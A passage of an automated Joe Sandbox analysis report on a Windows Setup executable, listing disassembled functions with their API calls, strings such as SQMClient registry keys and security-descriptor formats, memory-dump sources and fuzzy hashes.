Snapshot File: hcaresult_4_2_6c5d0000_Setup.jbxd

Similarity

API ID: Security$DescriptorErrorLast$DaclFreeInfoLocalNamedOwner
String ID:
API String ID: 442303658-0
Opcode ID: e1b71975f8727b4f3bab825058cacc4fa325fa138d223693f34041932b00c253
Instruction ID: a30583fc26b3c69e13f0bd10709da5f3149cfb0863d6791cf07ec38621560159
Opcode Fuzzy Hash: e1b71975f8727b4f3bab825058cacc4fa325fa138d223693f34041932b00c253
Instruction Fuzzy Hash: C551BD30645258BBCB42CE48CC44F9A3BB9FB49319F650057F920EA962DB71DA85CF92

Function 6C5D8067 Relevance: 9.1, APIs: 1, Strings: 5, Instructions: 101COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 6C5D8097

Part of subcall function 6C5D18E5: _vsnwprintf.MSVCRT ref: 6C5D1913

Part of subcall function 6C5D3E29: RegOpenKeyExW.ADVAPI32(?,?,00000000,-00020018,00000000,80000002,CEIPEnable,00000002), ref: 6C5D3E94
Part of subcall function 6C5D3E29: RegQueryValueExW.ADVAPI32(00000000,00000002,00000000,?,?,00000004), ref: 6C5D3EB0
Part of subcall function 6C5D3E29: RegCloseKey.ADVAPI32(00000000), ref: 6C5D3ECE

Strings

%s\%s, xrefs: 6C5D80B4, 6C5D80B9, 6C5D80FE
StudyId, xrefs: 6C5D80DE, 6C5D811E
Software\Policies\Microsoft\SQMClient, xrefs: 6C5D80AF
d]l, xrefs: 6C5D80AD
Software\Microsoft\SQMClient, xrefs: 6C5D80F9

Memory Dump Source

Source File: 00000004.00000002.2635960608.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000004.00000002.2635854338.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636151386.000000006C5F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636285243.000000006C5F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c5d0000_Setup.jbxd

Similarity

API ID: CloseOpenQueryValue_vsnwprintfmemset
String ID: d]l$%s\%s$Software\Microsoft\SQMClient$Software\Policies\Microsoft\SQMClient$StudyId
API String ID: 908408749-1776563523
Opcode ID: ae6e23c033e2f88602d234b67d8572ae7b307014e52e7f9370d212c97cfd713a
Instruction ID: c448c25e8b352762344663eca828d2bc6f2b4b57e00b222e7602f6c6889f2531
Opcode Fuzzy Hash: ae6e23c033e2f88602d234b67d8572ae7b307014e52e7f9370d212c97cfd713a
Instruction Fuzzy Hash: 3B310BB1902358BAD710CB9C8C84FEB77ACEF55348F52049AA924D6951C370FD88CF99

Function 63963BC0 Relevance: 9.1, APIs: 6, Instructions: 93COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 63963BCA
GetCurrentDirectoryW.KERNEL32(00000104,?,00000698,639603E4,00000000), ref: 63963BE0

Part of subcall function 6395F6DE: __EH_prolog3_GS.LIBCMT ref: 6395F6E8
Part of subcall function 6395F6DE: _memset.LIBCMT ref: 6395F714
Part of subcall function 6395F6DE: _memset.LIBCMT ref: 6395F741
Part of subcall function 6395F6DE: GetVersionExW.KERNEL32 ref: 6395F75A

GetOpenFileNameW.COMDLG32(?), ref: 63963C44
GetSaveFileNameW.COMDLG32(?), ref: 63963C4C
SetCurrentDirectoryW.KERNEL32(?), ref: 63963C73
_memcpy_s.LIBCMT ref: 63963CE8

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: CurrentDirectoryFileH_prolog3_Name_memset$OpenSaveVersion_memcpy_s
String ID:
API String ID: 133044998-0
Opcode ID: d30e2f93c4a5ff490e7b5a22fb0af39fa60d86fff0fa530bb4a3839e5c563ff9
Instruction ID: f1804955050dd90aa353e9a8e83468534592de68f0d06fdca5661cb5d7b9ada3
Opcode Fuzzy Hash: d30e2f93c4a5ff490e7b5a22fb0af39fa60d86fff0fa530bb4a3839e5c563ff9
Instruction Fuzzy Hash: 9941B071906218DFEB20DB20CC88B89B7B9BF56714F4041E9E018A71A1CB36DAA0CF50

Function 6C5D81BC Relevance: 9.1, APIs: 1, Strings: 5, Instructions: 87COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 6C5D81EC

Part of subcall function 6C5D18E5: _vsnwprintf.MSVCRT ref: 6C5D1913

Part of subcall function 6C5D3E29: RegOpenKeyExW.ADVAPI32(?,?,00000000,-00020018,00000000,80000002,CEIPEnable,00000002), ref: 6C5D3E94
Part of subcall function 6C5D3E29: RegQueryValueExW.ADVAPI32(00000000,00000002,00000000,?,?,00000004), ref: 6C5D3EB0
Part of subcall function 6C5D3E29: RegCloseKey.ADVAPI32(00000000), ref: 6C5D3ECE

Strings

%s\%s, xrefs: 6C5D8208
d]l, xrefs: 6C5D81D5
Software\Microsoft\SQMClient, xrefs: 6C5D8203
CabSessionAfterSize, xrefs: 6C5D8230
d]l, xrefs: 6C5D824A

Memory Dump Source

Source File: 00000004.00000002.2635960608.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000004.00000002.2635854338.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636151386.000000006C5F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636285243.000000006C5F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c5d0000_Setup.jbxd

Similarity

API ID: CloseOpenQueryValue_vsnwprintfmemset
String ID: d]l$d]l$%s\%s$CabSessionAfterSize$Software\Microsoft\SQMClient
API String ID: 908408749-2596333453
Opcode ID: f8d5043834132f02cf131cd395810f645e73dcff39e015370ab480b6c2309668
Instruction ID: cf3074ed755ae8c6e0bd18e93db2ee122679fa2fd86b60c0efc2af8b83709143
Opcode Fuzzy Hash: f8d5043834132f02cf131cd395810f645e73dcff39e015370ab480b6c2309668
Instruction Fuzzy Hash: 2731F534505308AFDB14CE0DCC85FDA77A9BB84318F660496E925D7952C370ED888F9A

Function 6C5EA55E Relevance: 9.1, APIs: 6, Instructions: 73registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(?,?,00000000,00000001,?), ref: 6C5EA581
RegQueryValueExA.ADVAPI32(?,?,00000000,?,?,?), ref: 6C5EA5A7
RegCloseKey.ADVAPI32(?), ref: 6C5EA5B9
RegOpenKeyExA.ADVAPI32(?,?,00000000,00000001,?), ref: 6C5EA5CC
RegQueryValueExA.ADVAPI32(?,?,00000000,?,?,?), ref: 6C5EA5EB
RegCloseKey.ADVAPI32(?), ref: 6C5EA5FC

Memory Dump Source

Source File: 00000004.00000002.2635960608.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000004.00000002.2635854338.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636151386.000000006C5F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636285243.000000006C5F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c5d0000_Setup.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: 7ac682e0dc46e0febf53556dd6ab469f962ff80b4442477df797bde144a5af77
Instruction ID: 639e8a583afebb472a8561b65b10950ea5ba39db8afc33e0ab6e9049b651c6e0
Opcode Fuzzy Hash: 7ac682e0dc46e0febf53556dd6ab469f962ff80b4442477df797bde144a5af77
Instruction Fuzzy Hash: 6C2123B6900248FBDF11DFA2DD44DCF7FB9EB89324F108162BA14A6010D731DA54EB60

Function 6C5D87B7 Relevance: 9.1, APIs: 6, Instructions: 73COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 6C5D87CF
MsgWaitForMultipleObjects.USER32(?,?,00000000,?,000004FF), ref: 6C5D87F9
GetTickCount.KERNEL32 ref: 6C5D880B

Memory Dump Source

Source File: 00000004.00000002.2635960608.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000004.00000002.2635854338.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636151386.000000006C5F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636285243.000000006C5F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c5d0000_Setup.jbxd

Similarity

API ID: CountTick$MultipleObjectsWait
String ID:
API String ID: 459475419-0
Opcode ID: fcf60fa78c012e9a2eca72975cca5bfbbefb59c310f5ffc326e83c7f4afb05e1
Instruction ID: 280a5f886e6216860644d2d8815488ead630c4eba4f6e6f390ba339aaa339600
Opcode Fuzzy Hash: fcf60fa78c012e9a2eca72975cca5bfbbefb59c310f5ffc326e83c7f4afb05e1
Instruction Fuzzy Hash: 5A214C71900249EFCF00DFA9CC84EDE7BB9EB09364F128552EA10E6550C731EA95DBA9

Function 6C5E8C6C Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

LeaveCriticalSection.KERNEL32(?,?,6C5DF4D9,00000001,?,6C5D1C30,?,?,?,6C5D1C70,0000002C), ref: 6C5E8CAC
CloseHandle.KERNEL32(?,?,6C5DF4D9,00000001,?,6C5D1C30,?,?,?,6C5D1C70,0000002C), ref: 6C5E8CC0
CloseHandle.KERNEL32(?,?,6C5DF4D9,00000001,?,6C5D1C30,?,?,?,6C5D1C70,0000002C), ref: 6C5E8CCD
CloseHandle.KERNEL32(?,?,6C5DF4D9,00000001,?,6C5D1C30,?,?,?,6C5D1C70,0000002C), ref: 6C5E8CDA
DeleteCriticalSection.KERNEL32(?,?,6C5DF4D9,00000001,?,6C5D1C30,?,?,?,6C5D1C70,0000002C), ref: 6C5E8CE3
EnterCriticalSection.KERNEL32(?,00000004,6C5E630E,6C5F0168,?,6C5DF4D9,00000001,?,6C5D1C30,?,?,?,6C5D1C70,0000002C), ref: 6C5E8C93

Part of subcall function 6C5E8958: free.MSVCRT ref: 6C5E8964

Memory Dump Source

Source File: 00000004.00000002.2635960608.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000004.00000002.2635854338.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636151386.000000006C5F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636285243.000000006C5F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c5d0000_Setup.jbxd

Similarity

API ID: CloseCriticalHandleSection$DeleteEnterLeavefree
String ID:
API String ID: 2998865046-0
Opcode ID: 9bb7c00d6a59f4a6aa82939cebc7a0e8a90bd5e6aca13789d0bb36338a45ba55
Instruction ID: 750f2ed07a123dcf8bec678bc80579b0f65f294bbf678b8e99c705f683c421ab
Opcode Fuzzy Hash: 9bb7c00d6a59f4a6aa82939cebc7a0e8a90bd5e6aca13789d0bb36338a45ba55
Instruction Fuzzy Hash: 111118B0502705CBCB20EFAACD8459AB7F4BF59308751082ED186D7E50DB75F988CB16

Function 63972B64 Relevance: 9.0, APIs: 6, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__CreateFrameInfo.LIBCMT ref: 63972B8C

Part of subcall function 63972542: __getptd.LIBCMT ref: 63972550
Part of subcall function 63972542: __getptd.LIBCMT ref: 6397255E

__getptd.LIBCMT ref: 63972B96

Part of subcall function 63969BE0: __getptd_noexit.LIBCMT ref: 63969BE3
Part of subcall function 63969BE0: __amsg_exit.LIBCMT ref: 63969BF0

__getptd.LIBCMT ref: 63972BA4
__getptd.LIBCMT ref: 63972BB2
__getptd.LIBCMT ref: 63972BBD
_CallCatchBlock2.LIBCMT ref: 63972BE3

Part of subcall function 639725F6: __CallSettingFrame@12.LIBCMT ref: 63972642

Part of subcall function 63972C8A: __getptd.LIBCMT ref: 63972C99
Part of subcall function 63972C8A: __getptd.LIBCMT ref: 63972CA7

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: __getptd$Call$Block2CatchCreateFrameFrame@12InfoSetting__amsg_exit__getptd_noexit
String ID:
API String ID: 1602911419-0
Opcode ID: 040182913ab5de98d4dce59afaca3a70b7968be2db1773c273ac280849929d72
Instruction ID: 9c1394e14e9519593cafc61dd97b0bda55c1ff84ffc63a416d129727c82e7a37
Opcode Fuzzy Hash: 040182913ab5de98d4dce59afaca3a70b7968be2db1773c273ac280849929d72
Instruction Fuzzy Hash: 3A1107B5C1530ADFEB00DFA4C944BAEBBB0FF15754F108069E854A7250DB389A11DF90

Function 6396424A Relevance: 9.0, APIs: 6, Instructions: 49windowCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 63964251
SetWindowLongW.USER32(?,000000F4,00000069), ref: 63964265

Part of subcall function 6394FF14: EnumChildWindows.USER32(?,Function_0000FF39,?), ref: 6394FF21

GetParent.USER32(?), ref: 639642A1
SendMessageW.USER32(00000000,00000485,00000000,00000069), ref: 639642AC
GetParent.USER32(?), ref: 639642B9
GetDesktopWindow.USER32 ref: 639642BE

Part of subcall function 63968E26: HeapFree.KERNEL32(00000000,00000000,?,63969BCC,00000000,?,6396B575,63969054), ref: 63968E3C
Part of subcall function 63968E26: GetLastError.KERNEL32(00000000,?,63969BCC,00000000,?,6396B575,63969054), ref: 63968E4E

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: ParentWindow$ChildDesktopEnumErrorFreeH_prolog3HeapLastLongMessageSendWindows
String ID:
API String ID: 1093383602-0
Opcode ID: a6ebe9de4f26a2b86282e5b72dac04022ea02fd7e7ed7c6b9c8c7512852fd6e5
Instruction ID: a39ec2e0998b255661f4ad1714907740d87353214291cac652ae6b9055b0b046
Opcode Fuzzy Hash: a6ebe9de4f26a2b86282e5b72dac04022ea02fd7e7ed7c6b9c8c7512852fd6e5
Instruction Fuzzy Hash: 00111874900308DFDF20AFA9C94499EBBF8BF5AB04B10451AE126EB2A0DB71D910CF50

Function 63963A76 Relevance: 9.0, APIs: 6, Instructions: 49windowCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 63963A7D
SetWindowLongW.USER32(?,000000F4,0000006B), ref: 63963A91

Part of subcall function 6394FF14: EnumChildWindows.USER32(?,Function_0000FF39,?), ref: 6394FF21

GetParent.USER32(?), ref: 63963ACD
SendMessageW.USER32(00000000,00000485,00000000,0000006B), ref: 63963AD8
GetParent.USER32(?), ref: 63963AE5
GetDesktopWindow.USER32 ref: 63963AEA

Part of subcall function 63968E26: HeapFree.KERNEL32(00000000,00000000,?,63969BCC,00000000,?,6396B575,63969054), ref: 63968E3C
Part of subcall function 63968E26: GetLastError.KERNEL32(00000000,?,63969BCC,00000000,?,6396B575,63969054), ref: 63968E4E

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: ParentWindow$ChildDesktopEnumErrorFreeH_prolog3HeapLastLongMessageSendWindows
String ID:
API String ID: 1093383602-0
Opcode ID: 95af4ff55f6d7a7b2d59f19c133c1d84735e43af08f9bcd8030d9938ce443491
Instruction ID: 6b25dc754c33decd24fa88492e277dd6b36f84d50a184d394dbc04bcd0331d56
Opcode Fuzzy Hash: 95af4ff55f6d7a7b2d59f19c133c1d84735e43af08f9bcd8030d9938ce443491
Instruction Fuzzy Hash: 41111870900704DFDB20EFA9CD8499EBBF4BF5AB04B10451AE126EB2A0DB71D910CF54

Function 63964100 Relevance: 9.0, APIs: 6, Instructions: 49windowCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 63964107
SetWindowLongW.USER32(?,000000F4,0000006A), ref: 6396411B

Part of subcall function 6394FF14: EnumChildWindows.USER32(?,Function_0000FF39,?), ref: 6394FF21

GetParent.USER32(?), ref: 63964157
SendMessageW.USER32(00000000,00000485,00000000,0000006A), ref: 63964162
GetParent.USER32(?), ref: 6396416F
GetDesktopWindow.USER32 ref: 63964174

Part of subcall function 63968E26: HeapFree.KERNEL32(00000000,00000000,?,63969BCC,00000000,?,6396B575,63969054), ref: 63968E3C
Part of subcall function 63968E26: GetLastError.KERNEL32(00000000,?,63969BCC,00000000,?,6396B575,63969054), ref: 63968E4E

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: ParentWindow$ChildDesktopEnumErrorFreeH_prolog3HeapLastLongMessageSendWindows
String ID:
API String ID: 1093383602-0
Opcode ID: 618507b14a1ce9565b7e36fbefd0475689d7223784afee1453b562edae93d3e8
Instruction ID: c42adb19be6ba8230251e46b6a8dcf4ac93a292687e12a442f040d0b3654a854
Opcode Fuzzy Hash: 618507b14a1ce9565b7e36fbefd0475689d7223784afee1453b562edae93d3e8
Instruction Fuzzy Hash: A0111C70A00304DFDB10EFA5C94499EBBF4BF6AB04B10451AE115EB290DB71D910CF50

Function 63963FCE Relevance: 9.0, APIs: 6, Instructions: 49windowCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 63963FD5
SetWindowLongW.USER32(?,000000F4,00000067), ref: 63963FE9

Part of subcall function 6394FF14: EnumChildWindows.USER32(?,Function_0000FF39,?), ref: 6394FF21

GetParent.USER32(?), ref: 63964025
SendMessageW.USER32(00000000,00000485,00000000,00000067), ref: 63964030
GetParent.USER32(?), ref: 6396403D
GetDesktopWindow.USER32 ref: 63964042

Part of subcall function 63968E26: HeapFree.KERNEL32(00000000,00000000,?,63969BCC,00000000,?,6396B575,63969054), ref: 63968E3C
Part of subcall function 63968E26: GetLastError.KERNEL32(00000000,?,63969BCC,00000000,?,6396B575,63969054), ref: 63968E4E

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: ParentWindow$ChildDesktopEnumErrorFreeH_prolog3HeapLastLongMessageSendWindows
String ID:
API String ID: 1093383602-0
Opcode ID: 6330122ec530170bcf586867f5a1dec837a904a1d701a80df92dbdb68c47232e
Instruction ID: aa80370ac0b2201d360a5f9e286a0edf7810b58a1ff9c9f99ff8fd12f788f8de
Opcode Fuzzy Hash: 6330122ec530170bcf586867f5a1dec837a904a1d701a80df92dbdb68c47232e
Instruction Fuzzy Hash: 33111870904704DFDB20AFA9C94499EBBF4FF5AB04B10451AE165EB2A1DB71D910CF50

Function 6C5D1E75 Relevance: 9.0, APIs: 6, Instructions: 43COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C5F0168,00000000,6C5D1E21,?,6C5D1C30,?,?,?,6C5D1C70,0000002C), ref: 6C5D1E8E
ctype.LIBCPMT ref: 6C5D1EA0
LeaveCriticalSection.KERNEL32(6C5F0168,?,6C5D1C30,?,?,?,6C5D1C70,0000002C), ref: 6C5D1EC2
DeleteCriticalSection.KERNEL32(6C5F0168,?,6C5D1C30,?,?,?,6C5D1C70,0000002C), ref: 6C5D1EC9
SetLastError.KERNEL32(1000010A,6C5D1E21,?,6C5D1C30,?,?,?,6C5D1C70,0000002C), ref: 6C5DF4C9

Memory Dump Source

Source File: 00000004.00000002.2635960608.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000004.00000002.2635854338.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636151386.000000006C5F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636285243.000000006C5F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c5d0000_Setup.jbxd

Similarity

API ID: CriticalSection$DeleteEnterErrorLastLeavectype
String ID:
API String ID: 1588575130-0
Opcode ID: 7be7cb3d2f2c5a0fbd908482607af03c6859b182833dc70c78b96ef5c5c61388
Instruction ID: 4527aa2b6f18e0afcb1404f51a0d5dcdc281482b72db177bf8d0b2efcefe8abe
Opcode Fuzzy Hash: 7be7cb3d2f2c5a0fbd908482607af03c6859b182833dc70c78b96ef5c5c61388
Instruction Fuzzy Hash: 5E0192303123509FDF089B25EC04F9B3674AB8632AF8B0009E025C5991C775E4858F5C

Function 6C5DC385 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 157timeCOMMON

Download Yara Rule

APIs

FileTimeToSystemTime.KERNEL32(?,?,6C5F0088,?,00000000), ref: 6C5E3335
GetLastError.KERNEL32(?,00000000), ref: 6C5E3351

Strings

If-Modified-Since:%s, xrefs: 6C5E33A4

Memory Dump Source

Source File: 00000004.00000002.2635960608.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000004.00000002.2635854338.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636151386.000000006C5F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636285243.000000006C5F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c5d0000_Setup.jbxd

Similarity

API ID: Time$ErrorFileLastSystem
String ID: If-Modified-Since:%s
API String ID: 2781989572-880471301
Opcode ID: 155e3dfecf7ce882a05513eeb972c559018a813454088d31fc4cc1655a8f5ddd
Instruction ID: 4069d88561777c0e4443af403a479e61599dd160589be995cee67bb4a4b30a80
Opcode Fuzzy Hash: 155e3dfecf7ce882a05513eeb972c559018a813454088d31fc4cc1655a8f5ddd
Instruction Fuzzy Hash: D951F232A403489BCB04EE59CC88FDBB7B8FB8C304F560599E525DBA60DB30E944CB54

Function 6C5DB5FC Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 133COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(?,?), ref: 6C5DB6DB

Part of subcall function 6C5D3679: GetCurrentProcess.KERNEL32(00000000,?,?,?,?,?,6C5D332F,?), ref: 6C5D3683
Part of subcall function 6C5D3679: OpenProcessToken.ADVAPI32(00000000,00000008,?,?,?,?,?,6C5D332F,?), ref: 6C5D36B3
Part of subcall function 6C5D3679: ConvertSidToStringSidW.ADVAPI32(00000000,?), ref: 6C5D36D5
Part of subcall function 6C5D3679: CloseHandle.KERNEL32(?,?,00000001,?,?,?,?,6C5D332F,?), ref: 6C5D36E0

Part of subcall function 6C5D1967: malloc.MSVCRT(?,6C5F0554), ref: 6C5D1979

Part of subcall function 6C5D18E5: _vsnwprintf.MSVCRT ref: 6C5D1913

ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32(00000000,00000001,?,00000000), ref: 6C5DB6BD

Strings

O:%sD:(A;OICI;GA;;;SY)(A;OICI;GA;;;BA)(A;OICI;GA;;;%s), xrefs: 6C5DB686
O:%sD:(A;OICI;GA;;;SY)(A;OICI;GA;;;BA), xrefs: 6C5DFDB8
(A;OICI;GA;;;LS), xrefs: 6C5DB6A2

Memory Dump Source

Source File: 00000004.00000002.2635960608.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000004.00000002.2635854338.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636151386.000000006C5F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636285243.000000006C5F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c5d0000_Setup.jbxd

Similarity

API ID: ConvertDescriptorProcessSecurityString$CloseCurrentFreeHandleLocalOpenToken_vsnwprintfmalloc
String ID: (A;OICI;GA;;;LS)$O:%sD:(A;OICI;GA;;;SY)(A;OICI;GA;;;BA)$O:%sD:(A;OICI;GA;;;SY)(A;OICI;GA;;;BA)(A;OICI;GA;;;%s)
API String ID: 4054149472-2141982788
Opcode ID: e6cb98ae33c3581deef4161e0ff838f5fc124da2c0c5de27243d4cccc1f2a8c9
Instruction ID: 516bdfbb87e859bed0bdfd47ba21aabbb938cd4ac842a3c6f9c20efe70356ff8
Opcode Fuzzy Hash: e6cb98ae33c3581deef4161e0ff838f5fc124da2c0c5de27243d4cccc1f2a8c9
Instruction Fuzzy Hash: A7410531502344FBDB05AE5C8C81FAE3BAAAF8134CF224469F420A5E90C731E945CB5C

Function 63961B2E Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 118COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 63961B35
RaiseException.KERNEL32(C000008C,00000001,00000000,00000000,00000004,639585F7,00000000,639598A4), ref: 63961B89
__EH_prolog3.LIBCMT ref: 63961B9C
_memset.LIBCMT ref: 63961BB9

Strings

IDS_IS_REALLY_CANCEL, xrefs: 63961C52

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

